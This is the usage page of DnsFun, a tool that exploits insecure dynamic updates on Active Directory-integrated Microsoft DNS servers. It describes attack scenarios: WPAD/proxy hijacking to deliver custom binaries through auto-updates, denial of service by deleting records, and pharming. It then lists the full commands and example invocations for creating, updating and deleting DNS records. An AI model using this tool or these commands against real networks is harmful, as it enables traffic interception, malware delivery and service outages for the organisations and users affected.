Microsoft DNS Dynamic updates - DnsFun v1.1


By default, most Microsoft DNS servers integrated with active directory allows insecure dynamic updates for dns records.
This feature allows remote users to create, change and delete DNS records by calling apis like DnsReplaceRecordSetA and DnsQueryA.

Dnsfun exploits that weak configuration and allows remote users to modify dns records.

exploiting dns server with DnsFun by calling DnsQueryA and DnsReplaceRecordSetA

There are several attack scenarios:

+ MITM attacks: Changing dns records for the network proxy/WPAD and relay HTTP queries. This attack vector is the most reliable and also allows us to exploit automatic updates for most Windows software, by deploying custom binaries to the client.

+ Denial of service: by deleting / changing critical dns records

+ Pharming: like mitm attacks, poisoning several dns records.


If the system is configured right, only the owner of that record is able to modify the dns entry but that doesn´t prevent authenticated users to create new dns records.

dnsfun.exe -s ip (dns Server (optional))
dnsfun.exe -d fqdn (Delete dns record)
dnsfun.exe -q fqdn (Query dns record)
dnsfun.exe -c[a|c] ip (Create A or CName record (default A))
dnsfun.exe -x user (auth information. also use -y and -z)
dnsfun.exe -y pass (auth information. also use -x and -z)
dnsfun.exe -z domain (auth information. also use -x and -y)
dnsfun.exe -u ip|fqdn (Update dns record (requires -q or -c))

dnsfun.exe -s -q proxy.mydomain.com -u (Updates record)
dnsfun.exe -s -d foo.mydomain.com (delete foo.mydomain.com record)
dnsfun.exe -s -c atarasco.foo.mydomain.com -u (creates record)
dnsfun.exe -s -cc www.atarasco.foo.mydomain.com -u (creates record)
